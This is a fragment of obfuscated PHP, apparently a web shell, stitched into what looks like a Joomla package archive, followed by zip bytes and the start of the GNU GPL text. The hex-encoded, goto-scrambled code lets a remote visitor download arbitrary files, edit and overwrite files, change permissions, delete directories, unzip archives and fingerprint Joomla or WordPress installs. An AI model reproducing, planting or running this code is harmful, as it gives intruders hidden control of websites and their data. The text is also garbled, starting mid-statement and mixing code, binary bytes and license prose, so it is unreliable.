"\x6e\157\x20\150\x61\x76\145\40\160\x65\x72\x6d\x69\163\163\151\157\156\40\146\x6f\x72\40\x63\x68\155\157\144\41"; goto udin1; ju28P: echo "\x3c\164\162\76\x3c\x74\144\40\141\154\x69\147\156\x3d\42\154\x65\146\x74\x22\x3e\x3c\146\x6f\162\x6d\40\141\x63\x74\151\157\156\x20\x3d\40\47\150\x74\x74\x70\x3a\57\57" . $ZhIOY . "\77\145\144\151\164\x3d" . $yP63Y . "\x26\x64\151\162\x3d" . $h3fzG . "\47\x20\x6d\x65\x74\x68\157\x64\x20\75\x20\x27\120\117\123\124\47\76\xa"; goto Y9YLq; EhthX: if (!empty($_POST["\156\x65\x77\137\x72\145\155\x6f\164\145"])) { goto gr1oO; } goto wwyXO; zWG3L: if ($_POST["\x63\150\155"] == "\60\67\x35\65") { goto TH0xO; } goto tgGMv; epiRS: yHIcm: goto dQQsL; LimAY: $RCJ7g = "\74\x66\157\156\164\40\x63\157\x6c\157\x72\75\42\x67\162\145\x65\156\x22\76\74\142\x3e\x50\x65\162\155\x69\x73\163\151\x6f\156\40\143\x68\141\x6e\147\145\x64\x21\74\57\x62\x3e\74\57\146\157\156\164\76"; goto zicnh; oQHIP: goto k2dM1; goto zwh2k; O08bo: bFlyF: goto j4qp4; H8GlI: if (empty($_POST["\x63\x68\x6d"])) { goto mzeNU; } goto zWG3L; wwyXO: if (chmod($yP63Y, 0755)) { goto iG3pZ; } goto jnOnm; jbxj1: goto srade; goto hH54i; c6GJZ: $uVE1Y = fread($ukr3B, filesize($yP63Y)); goto VjjEv; YWeyC: if (!($ukr3B = fopen($yP63Y, "\162"))) { goto RfRW9; } goto c6GJZ; jnOnm: return "\x6e\157\x20\x68\x61\x76\145\40\160\145\x72\155\151\163\163\151\x6f\x6e\40\x66\157\x72\x20\143\x68\x6d\x6f\144\x21"; goto wCZcx; hHMyS: TH0xO: goto Cq6Fc; dFkxS: $ukr3B = fopen($yP63Y, "\x77"); goto Q3yfs; DGk9U: s6a0Y: goto zGmVZ; oByT_: q1SqV: goto VI5tK; VI5tK: $sN_P3 = "\74\x66\x6f\x6e\164\x20\143\157\x6c\157\162\x3d\42\147\162\145\x65\x6e\x22\76\74\142\76\x50\x65\162\155\x69\x73\163\151\x6f\156\40\x63\150\141\156\x67\x65\144\41\x3c\x2f\142\x3e\x3c\57\146\157\x6e\164\x3e"; goto epiRS; QS_xH: $iTNc1 = strripos($yP63Y, "\x2f"); goto j0QHU; SfDMo: $RCJ7g = "\74\146\157\156\x74\x20\x63\x6f\154\157\x72\75\42\147\162\x65\x65\x6e\x22\76\x3c\x62\76\120\x65\x72\x6d\x69\163\163\151\157\x6e\40\x63\150\x61\x6e\x67\145\144\x21\74\57\x62\x3e\x3c\x2f\x66\157\156\164\x3e"; goto MuyRr; ZNQc0: if (file_exists($yP63Y) and filesize($yP63Y) > 1) { goto iyFQz; } goto an7fy; UKWqJ: RfRW9: goto AGO8q; UcZ_Y: if ($_POST["\x63\x68\x6d"] == "\60\x36\64\x34") { goto ENkNn; } goto sNZIN; FDsVZ: if (fwrite($ukr3B, $_POST["\156\x65\x77"])) { goto b2Oae; } goto d9kLK; FLbVK: $uVE1Y = fread($ukr3B, filesize($yP63Y)); goto Fm89Q; zicnh: LuRTw: goto y1a8B; VjjEv: fclose($ukr3B); goto ZD3Dw; Uf9Rd: goto mE3AV; goto obP6a; rSF1c: mzeNU: goto xwdpD; j0QHU: $h3fzG = substr_replace($yP63Y, '', $iTNc1, 99999); goto ZNQc0; Mp2pc: echo "\x3c\151\x6e\x70\165\164\x20\164\x79\160\x65\x3d\x22\163\165\142\x6d\151\x74\42\x20\x76\141\x6c\x75\145\75\x22\x6f\153\42\40\x2f\x3e\x3c\57\x66\x6f\162\155\x3e\74\57\x74\144\x3e\xa"; goto K0Jsr; hgsTm: echo "\x3c\151\x6e\x70\x75\x74\40\164\171\160\x65\x3d\x22\164\x65\x78\x74\42\40\156\x61\x6d\x65\x3d\47\156\x5f\x6e\x61\155\145\47\40\163\x69\172\145\75\42\x37\x32\x22\40\x76\x61\154\x75\x65\75\x22{$yP63Y}\42\76"; goto sUMsf; CRyJr: $ukr3B = fopen($yP63Y, "\x72"); goto FLbVK; akqjy: goto ysiLF; goto DGk9U; QqH5I: gr1oO: goto zYdaU; PmD8y: $uVE1Y = htmlspecialchars($uVE1Y); goto umr3P; oY2iG: PSOLX: goto LimAY; xwdpD: if (empty($_POST["\156\x65\x77"])) { goto doQ1v; } goto EhthX; hYqZN: echo $RCJ7g; goto rSF1c; w1cul: goto mE3AV; goto OTleb; QkbVT: echo "\106\151\x6c\x65\72\40" . $yP63Y . $B_RMp . "\x3c\x62\162\76\xa"; goto kaLFn; Q3yfs: if (fwrite($ukr3B, $uVE1Y)) { goto s6a0Y; } goto wnNIG; PJ79K: fclose($ukr3B); goto hU37H; u4zu9: k2dM1: goto w1cul; d9kLK: $B_RMp = "\x20\x2d\40\74\146\157\x6e\164\40\x63\x6f\x6c\157\x72\x3d\x22\162\145\144\42\76\74\x62\76\x55\x6e\x61\142\154\x65\40\164\x6f\x20\145\x64\151\x74\x21\x3c\57\x62\76\x3c\x2f\x66\157\156\164\76"; goto jbxj1; IHKhI: goto mE3AV; goto hHMyS; juzL0: $sN_P3 = "\x3c\146\157\x6e\x74\x20\x63\x6f\154\157\162\75\x22\x72\x65\144\x22\76\x3c\x62\x3e\x55\x6e\x61\x62\154\145\40\x63\150\x61\x6e\147\145\x20\x70\145\x72\155\x69\163\163\x69\x6f\x6e\41\x3c\57\x62\x3e\x3c\57\x66\x6f\x6e\164\x3e"; goto AJV1H; Wn7zA: cTe4a: goto X3_ML; hU37H: goto bFlyF; goto QqH5I; gYOHL: echo "\106\x69\154\x65\x3a\x20" . $yP63Y . "\74\142\x72\x3e\12"; goto vnGpy; T0o8l: $RCJ7g = "\x3c\146\x6f\156\164\40\x63\x6f\x6c\157\162\75\42\162\x65\x64\42\x3e\x3c\x62\x3e\x55\156\141\142\154\x65\x20\143\x68\x61\156\147\x65\40\x70\x65\x72\155\151\x73\163\151\x6f\156\x21\x3c\57\x62\x3e\x3c\57\x66\157\156\x74\x3e"; goto oQHIP; wCZcx: iG3pZ: goto k6U_k; zwh2k: s7tAK: goto fyYDR; K0Jsr: echo "\74\x74\144\40\x63\157\x6c\163\160\141\x6e\75\42\x33\42\x20\x61\154\151\x67\x6e\75\42\x6c\145\x66\x74\42\x3e\74\146\157\x72\x6d\40\x61\x63\164\x69\x6f\x6e\x20\x3d\x20\x27\150\164\x74\160\72\x2f\x2f" . $ZhIOY . "\x3f\162\x65\156\141\x6d\x65\75" . $yP63Y . "\x26\x64\x69\162\x3d" . $h3fzG . "\x27\40\x6d\145\164\150\x6f\144\x20\x3d\x20\47\120\117\x53\124\x27\76\12"; goto OY9vS; wG1Mq: echo "\74\151\x6e\160\165\x74\x20\x74\171\x70\145\x3d\x22\x73\x75\x62\155\151\164\x22\x20\166\141\x6c\165\145\75\42\157\x6b\42\x20\57\76\x3c\57\x66\157\162\155\76\74\57\164\144\76\74\x2f\x74\162\x3e\12"; goto rEKJH; y9PqV: $h3fzG = substr_replace($yP63Y, '', $iTNc1, 99999); goto CRyJr; yqj7X: ysiLF: goto p7lVx; tbHrj: $uVE1Y = DqysG($yP63Y); goto p2Jnq; zYdaU: if (chmod($yP63Y, 0755)) { goto pW43Q; } goto XirwY; obP6a: ENkNn: goto omJhJ; PcqKS: echo "\74\151\156\x70\165\164\x20\x6e\x61\155\145\75\x22\x63\150\x6d\x22\40\163\151\172\145\x3d\x22\64\42\x20\164\x79\x70\145\75\42\164\x65\170\164\x22\x20\160\x6c\141\x63\145\x68\x6f\x6c\x64\145\x72\75\42" . qFocs($yP63Y, "\61") . "\42\57\x3e"; goto nDnVc; emZot: goto LuRTw; goto oY2iG; AGO8q: echo "\x6e\x6f\x20\150\x61\166\x65\x20\160\x65\162\x6d\x69\163\x73\151\157\156\74\142\x72\x3e"; goto HnFqa; Cq6Fc: if (chmod($yP63Y, 0755)) { goto s7tAK; } goto T0o8l; j4qp4: $iTNc1 = strripos($yP63Y, "\x2f"); goto y9PqV; nDnVc: echo "\x3c\x69\156\160\x75\x74\40\164\171\x70\x65\75\42\x73\x75\142\x6d\x69\164\42\x20\x76\141\x6c\165\145\75\42\x6f\153\42\x20\57\x3e\x3c\57\x66\157\x72\x6d\x3e\74\x2f\164\144\x3e\xa"; goto UyEYP; ACVtN: yM4kr: goto O08bo; WFkVN: $uVE1Y = str_replace("\x3c\x74\x65\x78\x74\141\x72\x65\141\x3e", "\x3c\x74\x65\170\x74\x61\162\145\141\x3e", $uVE1Y); goto tDdQO; FT1CZ: echo "\74\x64\x69\x76\x20\141\x6c\151\x67\x6e\75\42\x72\x69\147\x68\164\x22\76\x3c\x62\162\x3e\x3c\151\156\x70\165\164\40\164\x79\x70\145\x20\x3d\40\x27\x73\165\142\155\151\x74\47\x20\166\141\154\x75\145\x20\x3d\40\x27\x53\x61\166\145\x27\76\x3c\x2f\x64\x69\x76\76\x3c\x2f\146\157\162\155\x3e\x3c\x2f\164\144\x3e\74\x2f\x74\162\x3e\xa"; goto ju28P; FSjO8: EuO60: goto Wn7zA; omJhJ: if (chmod($yP63Y, 0644)) { goto PSOLX; } goto hSDfG; OTleb: I2sHN: goto Nf4RM; tDdQO: echo "\x3c\164\x72\x3e\x3c\x74\144\40\141\x6c\x69\x67\156\75\42\143\x65\156\164\145\x72\42\40\143\157\154\163\160\141\x6e\75\42\x35\42\76\74\x66\x6f\x72\155\x20\x61\143\x74\151\x6f\156\x20\75\40\x27\x68\164\164\x70\72\57\57" . $ZhIOY . "\77\145\144\151\164\x3d" . $yP63Y . "\x26\x64\x69\162\75" . $h3fzG . "\47\x20\x6d\x65\164\x68\x6f\x64\40\75\40\x27\120\117\x53\x54\x27\76\12"; goto QkbVT; umr3P: echo "\x3c\164\x72\x3e\74\x74\144\40\x61\154\151\x67\156\x3d\42\143\x65\x6e\x74\x65\x72\42\x20\143\157\x6c\x73\160\x61\x6e\x3d\42\x35\42\x3e\x3c\146\157\162\155\x20\141\143\x74\x69\157\x6e\40\75\40\47\150\x74\164\x70\x3a\x2f\x2f" . $ZhIOY . "\77\x65\144\x69\x74\75" . $yP63Y . "\x26\x64\x69\162\75" . $h3fzG . "\x27\40\x6d\x65\x74\150\x6f\x64\40\75\x20\47\120\x4f\123\124\47\76\12"; goto gYOHL; Y9YLq: echo "\x3c\151\156\160\165\x74\x20\156\x61\x6d\145\75\x22\x63\x68\155\42\40\163\151\x7a\x65\75\42\x34\x22\x20\x74\x79\x70\x65\75\42\x74\x65\170\x74\42\x20\160\x6c\141\143\x65\150\x6f\x6c\x64\145\162\75\42" . qFoCS($yP63Y, "\61") . "\x22\x2f\76"; goto Mp2pc; sNZIN: $RCJ7g = "\60\x37\65\65\x3c\142\162\76\x30\64\x34\x34\74\142\x72\76\60\66\64\x34\74\142\x72\76"; goto IHKhI; an7fy: $uVE1Y = ''; goto iJBn_; ZWLEj: $B_RMp = "\40\55\40\74\146\157\x6e\164\x20\143\157\154\x6f\162\75\x22\x67\162\x65\145\x6e\x22\x3e\x3c\x62\x3e\x45\144\x69\x74\x65\x64\41\x3c\x2f\142\x3e\x3c\x2f\146\x6f\x6e\164\x3e"; goto Ug9z4; wnNIG: $B_RMp = "\40\x2d\x20\x3c\x66\157\156\x74\x20\143\157\x6c\x6f\162\x3d\x22\162\x65\x64\x22\x3e\74\x62\76\125\x6e\x61\x62\154\145\x20\164\x6f\40\x65\x64\x69\x74\41\x3c\57\x62\x3e\x3c\57\x66\157\156\164\x3e"; goto akqjy; h0J6J: goto bgvsH; goto FNn5T; UyEYP: echo "\74\164\x64\x20\x63\x6f\154\163\160\141\156\x3d\x22\x33\x22\x20\x61\154\x69\147\156\x3d\42\154\x65\x66\164\42\76\x3c\x66\157\162\x6d\40\141\x63\x74\x69\157\x6e\x20\x3d\40\x27\150\x74\164\x70\72\57\x2f" . $ZhIOY . "\x3f\x72\145\x6e\x61\x6d\x65\75" . $yP63Y . "\46\144\151\162\75" . $h3fzG . "\47\x20\155\145\x74\150\x6f\x64\40\x3d\40\x27\120\117\x53\124\47\x3e\12"; goto hgsTm; Ze4sz: doQ1v: goto QS_xH; RMtT3: } goto Z5dSH; gjdvd: readfile($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"]); goto vls77; c2ocp: $ZhIOY = $tiXjA . $rH_un; goto Mgj0L; U63A4: goto O5_ey; goto lpqUu; PpdKu: if (empty($_POST["\x6e\x65\x77\x5f\x66\x69\154\x65"]) and empty($_POST["\163\145\x61\162\x63\150\137\146\x69\x6c\145"]) and empty($_POST["\156\x65\167\x5f\x64\x69\162"])) { goto qCiFg; } goto lYLKg; jEKHD: function orR_E($nHLgd) { goto QkdIZ; QkdIZ: $aTYtm = $nHLgd; goto rZKS1; fNXZp: $SPb_q = array(); goto uW6A6; YsQjV: G1q6z: goto LJK5t; Z_2qU: rgiaL: goto I37QY; wrjta: goto G1q6z; goto Z_2qU; I37QY: $yP63Y = fopen($aTYtm, "\x72\x74"); goto PfYYf; AurB7: fclose($yP63Y); goto oGluw; uW6A6: return $SPb_q; goto wrjta; rZKS1: if (file_exists($nHLgd) and filesize($nHLgd) > 1) { goto rgiaL; } goto fNXZp; oGluw: return $SPb_q; goto YsQjV; PfYYf: $SPb_q = explode("\12", fread($yP63Y, filesize($aTYtm))); goto AurB7; LJK5t: } goto w_Xwu; H9jzH: A6Feg: goto bMWur; ZEnt1: if (!isset($_GET["\x65\x64\x69\x74"])) { goto qNpRI; } goto c2ocp; T90c0: if (!($lTJFo < 900)) { goto On1YF; } goto KrbIO; n1flM: lrDxO: goto GlN4t; hK2iH: header("\x45\x78\x70\151\162\x65\163\x3a\40\60"); goto vnUYp; UUskC: if (isset($_GET["\x64\x69\162"])) { goto dbkoo; } goto RcEWd; CiU08: foreach ($INQmn as $aRFcW) { goto PnHo9; RMHil: rD2DT: goto TSLkA; C3JSG: fwrite($P0O_u, $aRFcW . "\xa"); goto RMHil; TSLkA: zEYXQ: goto Vjc6U; PnHo9: if (!($aRFcW !== $_SERVER["\123\x43\x52\x49\120\x54\137\106\x49\x4c\x45\x4e\x41\x4d\x45"])) { goto rD2DT; } goto C3JSG; Vjc6U: } goto OqYa4; Sek0a: L4F8M: goto mSAkp; iMowY: qNpRI: goto MyG8B; re1HG: header("\x50\162\x61\147\x6d\x61\72\40\160\x75\142\154\151\143"); goto i76K3; Li1aH: $Cn1lH = "\x24\x4f\117"; goto ZUqzD; AyGhX: $i5DCx = 0; goto zgXNM; SXqoj: $WRsqg = "\150\164\164\160\72\57\57" . $tiXjA . $rH_un . "\x3f\x64\x69\x72\75" . $_GET["\x64\x69\x72"] . "\46\145\144\151\x74\75" . $IPQ4C; goto OVJlZ; T1G8V: $pCROI = $YH3Np; goto QJTPD; usbXM: foreach ($YKCxh as $HvRhX) { goto em3nU; z0ZLv: if (!($aBE0N !== false)) { goto GS2Gr; } goto K4t6_; K4t6_: $ng2Fq = F6HoI($HvRhX); goto TLza2; em3nU: $aBE0N = stristr($HvRhX, $iecrC); goto z0ZLv; xlQSv: echo "\x3c\x74\x72\x20\142\x67\x63\x6f\154\157\162\75\x22\x23\146\x66\x66\x66\146\x66\x22\40\141\x6c\x69\147\x6e\75\x22\143\145\156\x74\145\x72\x22\x3e\74\x74\144\x20\x61\154\151\x67\156\75\42\x6c\145\x66\x74\x22\40\76" . "\x3c\141\40\x73\164\x79\x6c\145\x3d\x22\164\145\170\x74\x2d\144\145\143\157\x72\x61\164\x69\x6f\x6e\72\40\156\157\156\145\73\x22\40\x68\162\x65\x66\x3d\x22\150\x74\x74\x70\72\x2f\57{$tiXjA}{$rH_un}\x3f\x65\x64\151\164\75{$HvRhX}\x26\x64\151\x72\75{$WdlM7}\42\76\x3c\x66\x6f\156\x74\40\x63\157\x6c\x6f\162\75\42\142\154\141\x63\x6b\x22\76{$HvRhX}\x3c\x2f\146\x6f\x6e\164\76\x3c\x2f\x61\76" . "\74\x2f\x74\x64\x3e\x3c\x74\144\x3e" . Dj8zX($HvRhX) . "\x3c\x2f\164\x64\76\74\164\x64\x3e{$ng2Fq}\74\57\164\144\x3e\x3c\164\x64\76" . Qfocs($HvRhX, "\x30") . "\x3c\x2f\164\x64\x3e\74\164\x64\x3e" . "\x3c\141\x20\150\162\x65\x66\75\42\x68\x74\x74\160\x3a\57\x2f{$tiXjA}{$rH_un}\77\144\x65\154\75{$HvRhX}\x26\144\x69\162\75{$WdlM7}\42\x3e\x55\74\57\x61\76\46\156\x62\163\x70\73" . "\x3c\141\40\x68\162\x65\x66\75\42\150\x74\164\x70\72\57\57{$tiXjA}{$rH_un}\x3f\145\144\151\x74\75{$HvRhX}\x26\144\151\x72\75{$WdlM7}\x22\76\105\74\57\x61\76\x26\x6e\x62\163\160\x3b" . "\74\x61\x20\164\x61\162\x67\145\x74\75\x22\x5f\142\154\141\156\153\x22\40\150\162\x65\x66\x3d\x22\x68\164\x74\160\x3a\57\x2f{$pz23y}\42\76\x4f\74\x2f\141\x3e\46\156\142\x73\x70\x3b" . "\74\x61\40\150\x72\145\146\x3d\x22\x68\x74\164\160\72\x2f\57{$tiXjA}{$rH_un}\x3f\144\x6f\167\x6e\154\157\141\x64\75{$HvRhX}\x26\144\151\162\x3d{$WdlM7}\x22\x3e\104\x3c\57\x61\76" . "\74\57\x74\144\x3e\x3c\57\164\162\76"; goto wJ4ST; wJ4ST: GS2Gr: goto KtMQC; KtMQC: lXjTg: goto iwXD4; TLza2: $pz23y = str_replace($_SERVER["\104\x4f\103\x55\x4d\x45\x4e\x54\137\x52\x4f\117\124"], $_SERVER["\123\x45\122\126\x45\x52\x5f\116\x41\115\x45"], $HvRhX); goto xlQSv; iwXD4: } goto oXy1N; HKKM1: $fGyii = 1; goto PZ0SL; CSa4F: eVo64: goto fQLm8; MNGK8: if ($ukr3B = fopen($YH3Np, "\167")) { goto fNaOH; } goto L_zMi; DBso8: k4Ell: goto vTut2; Qqaej: wQxks: goto pHWij; QJTPD: $fGyii = 1; goto S9BlA; B3D12: fVRtg: goto KYFNM; VLOb9: function iXvY1() { goto s_NIn; s_NIn: if (is_dir($_SERVER["\x44\117\x43\125\x4d\x45\116\124\x5f\122\x4f\x4f\x54"] . "\x2f\x61\x64\x6d\x69\x6e\151\x73\x74\x72\141\164\x6f\162\x2f") and is_dir($_SERVER["\104\x4f\103\125\x4d\105\116\124\x5f\122\117\117\124"] . "\57\x63\157\155\x70\157\x6e\145\x6e\x74\x73\57") and is_dir($_SERVER["\104\x4f\103\125\x4d\105\116\x54\137\x52\x4f\x4f\124"] . "\x2f\151\x6e\143\154\165\144\x65\163\57")) { goto huyl0; } goto v5ldT; QSkwJ: goto B31RW; goto qGoL3; HHLJZ: PeFez: goto vzesj; qGoL3: huyl0: goto RhGLs; RhGLs: return "\x4a\157\157\x6d\154\141\41"; goto rL3PK; vzesj: return "\127\157\x72\x64\120\162\x65\163\163"; goto CJDpv; CJDpv: B31RW: goto HUzbl; XTeJY: return "\125\x6e\x6b\x6e\x6f\x77\156"; goto QSkwJ; v5ldT: if (is_dir($_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\137\x52\x4f\x4f\124"] . "\57\x77\x70\x2d\143\157\156\x74\145\x6e\164\x2f") and is_dir($_SERVER["\x44\x4f\103\x55\x4d\x45\116\x54\137\122\117\117\124"] . "\57\167\x70\x2d\x61\144\155\151\x6e\57") and is_dir($_SERVER["\x44\117\103\125\x4d\105\116\124\137\122\117\x4f\x54"] . "\57\x77\160\x2d\151\x6e\143\154\165\x64\145\x73\x2f")) { goto PeFez; } goto XTeJY; rL3PK: goto B31RW; goto HHLJZ; HUzbl: } goto RcTE4; Dx3gP: function dJ8ZX($yP63Y) { goto cDHp8; ST29l: return $h3eEw . "\x20\x6b\142"; goto TDExp; Zvf0M: goto e6kvl; goto LgjhG; YZkxS: $h3eEw = round($h3eEw, 1); goto j0_ag; N7183: return $h3eEw . "\40\142"; goto dQNOt; j0_ag: return $h3eEw . "\40\155\x62"; goto Zvf0M; TDExp: goto VZaHX; goto t2j9J; FVMvQ: if ($h3eEw > 1024) { goto BYQRO; } goto VPcIW; eRYu7: $h3eEw = filesize($yP63Y); goto FVMvQ; Z_ZIA: ki8oY: goto HYPoy; mUpcY: $h3eEw = round($h3eEw, 1); goto ST29l; LgjhG: QoEi7: goto RcRx3; ypiqU: if ($h3eEw > 1024) { goto AJwYH; } goto mUpcY; dQNOt: goto ki8oY; goto rQlXi; VPcIW: $h3eEw = round($h3eEw, 1); goto N7183; oS65a: $h3eEw = round($h3eEw, 1); goto DYeAk; DYeAk: return $h3eEw . "\40\x67\x62"; goto MenRv; rQlXi: BYQRO: goto Q0bp2; TjAdy: $h3eEw = $h3eEw / 1024; goto xPG8w; Q0bp2: $h3eEw = $h3eEw / 1024; goto ypiqU; xPG8w: if ($h3eEw > 1024) { goto QoEi7; } goto YZkxS; nzuGj: return "\xd0\244\xd0\260\xd0\xb9\xd0\273\x20\40\xd0\275\xd0\xb5\x20\xd0\xbd\xd0\xb0\xd0\xb9\320\264\320\265\320\275"; goto yo3S9; RcRx3: $h3eEw = $h3eEw / 1024; goto oS65a; cDHp8: if (file_exists($yP63Y)) { goto RpEaS; } goto nzuGj; t2j9J: AJwYH: goto TjAdy; yo3S9: RpEaS: goto eRYu7; MenRv: e6kvl: goto Vf2uy; Vf2uy: VZaHX: goto Z_ZIA; HYPoy: } goto kCOTz; EumIN: CIhmj: goto eFPJn; DDSre: goto VWAvR; goto rHqDe; Mgj0L: kAFE1($_GET["\x65\x64\x69\x74"], $ZhIOY); goto iMowY; wOdPJ: echo $E26bx; goto wr6z_; lSv0U: if (!file_exists($XJm0F)) { goto ughcS; } goto cX0nh; EEKW8: $EexMY = "\146\x69\154\145\137\147\x65\164\x5f\143\157\156\x74\x65\156\x74\x73\x28\x5c\x22\x2e\56\57\151\156\144\x65\170\56\160\150\x70\134\x22\x29\x22"; goto W3HOG; CPd2j: echo "\x3c\74\x69\x6e\x66\157\76\x3e"; goto GxcqR; KW5Mh: $xCcCg = array(); goto T1G8V; KmHM8: echo "\x65\162\x72\x6f\x72\72\x20\146\x69\154\145\40\146\x69\156\144\145\162\144\141\164\x61\56\164\170\x74\40\x63\141\x6e\x20\156\x6f\x74\40\143\162\x65\141\x74\x65"; goto DDSre; nqF4o: IiCg1: goto PpdKu; RN4OF: $YH3Np = $_SERVER["\x44\x4f\103\125\x4d\105\x4e\x54\x5f\x52\x4f\117\x54"] . "\57" . $_POST["\156\x65\167\x5f\x64\151\x72"]; goto iOdJJ; E3235: if (isset($_GET["\x64\151\x72"])) { goto Jo9v7; } goto zjXlz; U2RwY: if (empty($_POST["\x66\x6f\x72\x5f\144\145\x6c"])) { goto vb83N; } goto anCzF; dyAnS: P7T2h: goto U2RwY; Ne1jw: $YH3Np = $_GET["\x64\151\x72"] . "\57" . $_POST["\156\145\x77\x5f\146\x69\154\145"]; goto JHPzR; CUYeP: OqlPL($_GET["\165\x6e\172\151\x70"]); goto ljw5y; W8O_A: $eGMU5 = scandir($_GET["\144\x69\162"]); goto LbuPB; KYFNM: $I6GPr = Orr_E($LVHM1); goto BkVTa; w_Xwu: function Hn7Ll($h3fzG) { goto pOeOO; pOeOO: $F836w = opendir($h3fzG); goto MFHlH; js5BV: NLq9p: goto gTQxy; IQA8s: if (is_dir($h3fzG . "\x2f" . $Pqu41)) { goto NLq9p; } goto qyLyV; MFHlH: zUGOu: goto BAtkd; oBd3s: goto EFl5b; goto js5BV; qyLyV: unlink($h3fzG . "\x2f" . $Pqu41); goto oBd3s; AER2I: if (!($Pqu41 != "\56" && $Pqu41 != "\56\x2e")) { goto Sw2OC; } goto IQA8s; BQA3z: EFl5b: goto MbIbC; MbIbC: Sw2OC: goto RnMA0; gTQxy: hn7Ll($h3fzG . "\x2f" . $Pqu41); goto BQA3z; g4vbK: SsidK: goto OUSUu; BAtkd: if (!(($Pqu41 = readdir($F836w)) !== false)) { goto SsidK; } goto AER2I; RnMA0: goto zUGOu; goto g4vbK; OUSUu: closedir($F836w); goto L9PcP; L9PcP: rmdir($h3fzG); goto gngrF; gngrF: } goto LYV_H; xS7Rl: if (isset($_GET["\x64\151\162"])) { goto wUtRW; } goto dkwi3; na2Ic: zinl5: goto YqLrR; RuPKT: PftJd: goto Kq0II; aMTn9: if (!file_exists($uMTgE)) { goto s0yqd; } goto VMQbE; Ajdfw: PHZGX: goto MQF1K; fsTym: $rH_un = $_SERVER["\x53\103\122\x49\x50\x54\x5f\x4e\101\115\105"]; goto WvWCx; ZebjC: foreach ($qO7GR as $HG506) { goto T0nS5; dIU87: $gJOVN = stristr($LRhaK, $KIdf7); goto IjVyx; cO3Ky: GT7hz: goto MBi0l; rxUx2: HwsrD: goto P6dF1; PTWBi: $aBE0N = stristr($LRhaK, $Cj0nE); goto op31W; wKFAU: J25s1: goto rxUx2; DSKT_: fclose($P0O_u); goto zyI3j; MruV3: $Wo3db = stristr($LRhaK, $KLmgb); goto ptnvc; kCjV2: if (!($aBE0N !== false or $yXLmS !== false or $RzC6k !== false or $gJOVN !== false or $hPuWF !== false or $cnei_ !== false or $WfmMA !== false or $Q8ELG !== false or $MwQp7 !== false or $Wo3db !== false or $Yws2t !== false or $LKAP6 !== false)) { goto fOsFL; } goto HwEu1; SaZVB: $WfmMA = stristr($LRhaK, $Cn1lH); goto OAJTF; VU6KJ: $LKAP6 = stristr($LRhaK, $O_nX1); goto kCjV2; xZ0St: $RzC6k = stristr($LRhaK, $HL1u3); goto dIU87; SOPRc: $cnei_ = stristr($LRhaK, $oQDq2); goto SaZVB; MBi0l: $LRhaK = dqYsG($HG506); goto JHwKV; HwEu1: $P0O_u = fopen($XJm0F, "\141"); goto W59y2; dir1L: if (filesize($HG506) < 5000000) { goto GT7hz; } goto fUj0m; fnK0X: goto fjswA; goto cO3Ky; zyI3j: fOsFL: goto wKFAU; T0nS5: if (!file_exists($HG506)) { goto J25s1; } goto dir1L; JHwKV: fjswA: goto PTWBi; ptnvc: $Yws2t = stristr($LRhaK, $UG4IL); goto VU6KJ; fUj0m: $LRhaK = ''; goto fnK0X; op31W: $yXLmS = stristr($LRhaK, $G_QfL); goto xZ0St; Lh0s4: $MwQp7 = stristr($LRhaK, $EexMY); goto MruV3; OAJTF: $Q8ELG = stristr($LRhaK, $Gh2vx); goto Lh0s4; W59y2: fwrite($P0O_u, $HG506 . "\12"); goto DSKT_; IjVyx: $hPuWF = stristr($LRhaK, $Uhl9b); goto SOPRc; P6dF1: } goto na2Ic; rpWrK: heiwi: goto YVz_a; dVb3a: erqM2: goto AyGhX; RcTE4: function KkwPe($YH3Np) { goto x1n3C; x1n3C: $iTNc1 = strripos($YH3Np, "\57"); goto FtnIQ; FtnIQ: $CtAtM = substr_replace($YH3Np, '', $iTNc1, 99999); goto XQCax; XQCax: return $CtAtM; goto Jt2N7; Jt2N7: } goto a6BWd; sLhGh: echo "\74\x74\162\x20\141\154\151\x67\x6e\x3d\42\x63\x65\156\x74\x65\x72\42\x3e\74\164\x64\40\141\x6c\151\147\x6e\x3d\42\x6c\145\146\164\x22\40\x3e" . "\74\146\x6f\x6e\164\x20\x63\157\x6c\157\162\x3d\x22\x72\x65\x64\42\x3e\103\x61\156\x20\x6e\157\x74\40\x63\162\145\x61\x74\145\x20\x66\x6f\x6c\x64\145\x72\41\74\57\146\157\x6e\x74\x3e\74\x2f\164\x64\76" . "\x3c\x74\x64\76\74\x2f\x74\144\x3e\74\x74\144\76\x3c\x2f\x74\144\76\74\x74\144\76\x3c\x2f\164\144\76\x3c\x74\144\x3e\74\x2f\164\x64\76\x3c\x2f\x74\162\x3e"; goto whz7n; XnOwQ: KPoDD: goto wvEmM; VFSRw: unlink($LVHM1); goto HIUu8; HrvUP: echo $_SERVER["\123\x43\122\x49\x50\x54\137\x46\111\114\105\x4e\101\x4d\105"]; goto DgNIn; JlVYR: $nesCN = fopen($LVHM1, "\x77"); goto K4T9u; quVmR: if (!isset($_GET["\144\x6f\167\156\154\157\141\144"])) { goto DjpV5; } goto ufhIW; MBwDT: echo "\74\x2f\164\x61\142\x6c\145\x3e"; ?>PKÜ�\�P�E�Evendor/joomla/image/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that 